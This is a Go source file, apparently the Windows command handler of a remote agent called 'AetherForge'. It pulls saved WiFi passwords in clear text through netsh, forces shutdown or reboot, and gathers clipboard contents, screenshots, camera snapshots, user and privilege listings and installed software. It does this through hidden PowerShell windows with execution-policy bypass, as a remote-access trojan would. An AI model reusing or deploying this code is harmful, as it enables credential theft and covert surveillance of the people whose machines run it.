AetherForge/agent/client/commands_windows.go

//go:build windows

package client

import (
	"fmt"
	"strings"
)

// grabWiFiPasswords enumerates saved WiFi profiles and extracts their clear-text
// keys using netsh, returning a formatted multi-line result string.
func grabWiFiPasswords() string {
	// List all profiles.
	profileOut, err := silentCombinedOutput("netsh", "wlan", "show", "profiles")
	if err != nil {
		return fmt.Sprintf("netsh wlan show profiles failed: %v\n%s", err, string(profileOut))
	}

	var profiles []string
	for _, line := range strings.Split(string(profileOut), "\n") {
		line = strings.TrimSpace(line)
		// Lines look like: "    All User Profile     : ProfileName"
		if strings.Contains(line, ":") {
			parts := strings.SplitN(line, ":", 2)
			if len(parts) == 2 {
				name := strings.TrimSpace(parts[1])
				if name != "" {
					profiles = append(profiles, name)
				}
			}
		}
	}

	if len(profiles) == 0 {
		return "no WiFi profiles found"
	}

	var sb strings.Builder
	for _, profile := range profiles {
		detailOut, err := silentCombinedOutput("netsh", "wlan", "show", "profile",
			"name="+profile, "key=clear")
		if err != nil {
			sb.WriteString(fmt.Sprintf("%s : <error: %v>\n", profile, err))
			continue
		}
		key := ""
		for _, line := range strings.Split(string(detailOut), "\n") {
			line = strings.TrimSpace(line)
			if strings.HasPrefix(line, "Key Content") {
				parts := strings.SplitN(line, ":", 2)
				if len(parts) == 2 {
					key = strings.TrimSpace(parts[1])
				}
				break
			}
		}
		if key != "" {
			sb.WriteString(fmt.Sprintf("%s : %s\n", profile, key))
		} else {
			sb.WriteString(fmt.Sprintf("%s : <no password / open network>\n", profile))
		}
	}
	return strings.TrimSpace(sb.String())
}

// execPowerCommand runs shutdown or reboot via cmd.exe directly (bypasses
// PowerShell execution policy restrictions).  Returns an error if the
// command exits non-zero.
func (c *AgentClient) execPowerCommand(kind string) error {
	var flag string
	switch kind {
	case "shutdown":
		flag = "/s"
	case "reboot":
		flag = "/r"
	default:
		return fmt.Errorf("unknown power command: %s", kind)
	}
	out, err := silentCombinedOutput("cmd.exe", "/C", "shutdown", flag, "/t", "0", "/f")
	if err != nil {
		return fmt.Errorf("%w: %s", err, strings.TrimSpace(string(out)))
	}
	return nil
}

func (c *AgentClient) platformRecon(action, command string) (handled bool, success bool, message string) {
	var out []byte
	var err error
	switch action {
	case "ps":
		out, err = silentCombinedOutput("tasklist")
	case "netstat":
		out, err = silentCombinedOutput("netstat", "-ano")
	case "users":
		out, err = silentCombinedOutput("cmd.exe", "/C", "net user & echo. & whoami /all")
	case "software":
		out, err = silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
			"Get-ItemProperty 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*','HKLM:\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion | Sort-Object DisplayName | Format-Table -AutoSize")
	case "screenshot":
		out, err = silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", screenshotPSScript)
		if err != nil {
			return true, false, formatCmdErr(err, out)
		}
		b64 := extractScreenshotBase64(out)
		if len(b64) < 100 {
			return true, false, "screenshot failed or empty image (agent may need an interactive desktop session)"
		}
		return true, true, b64
	case "camera_snapshot", "camera_list":
		return handleCameraAction(action)
	case "sysinfo":
		out, err = silentCombinedOutput("systeminfo")
	case "ipconfig":
		out, err = silentCombinedOutput("ipconfig", "/all")
	case "clipboard":
		out, err = silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", "Get-Clipboard")
		if err == nil {
			return true, true, strings.TrimSpace(string(out))
		}
		return true, false, formatCmdErr(err, out)
	case "wifi":
		script := `$p=(netsh wlan show profiles)|Select-String "All User Profile"|%{$_.Line.Split(":")[1].Trim()}; foreach($i in $p){ $k=(netsh wlan show profile name="$i" key=clear)|Select-String "Key Content"|%{$_.Line.Split(":")[1].Trim()}; if($k){"$i : $k"}else{"$i : <No Password>"} }`
		out, err = silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
		if err == nil {
			return true, true, strings.TrimSpace(string(out))
		}
		return true, false, formatCmdErr(err, out)
	case "posture":
		if p := collectPosture(); p != nil {
			return true, true, p.JSON()
		}
		return true, false, "posture probe failed"
	case "listen_ports":
		if lp := collectListenPorts(); lp != nil {
			return true, true, lp.JSON()
		}
		return true, false, "listen_ports probe failed"
	case "patch_status":
		if ps := collectPatchStatus(); ps != nil {
			return true, true, ps.JSON()
		}
		return true, false, "patch_status probe failed"
	default:
		return false, false, ""
	}
	if err != nil {
		return true, false, formatCmdErr(err, out)
	}
	return true, true, string(out)
}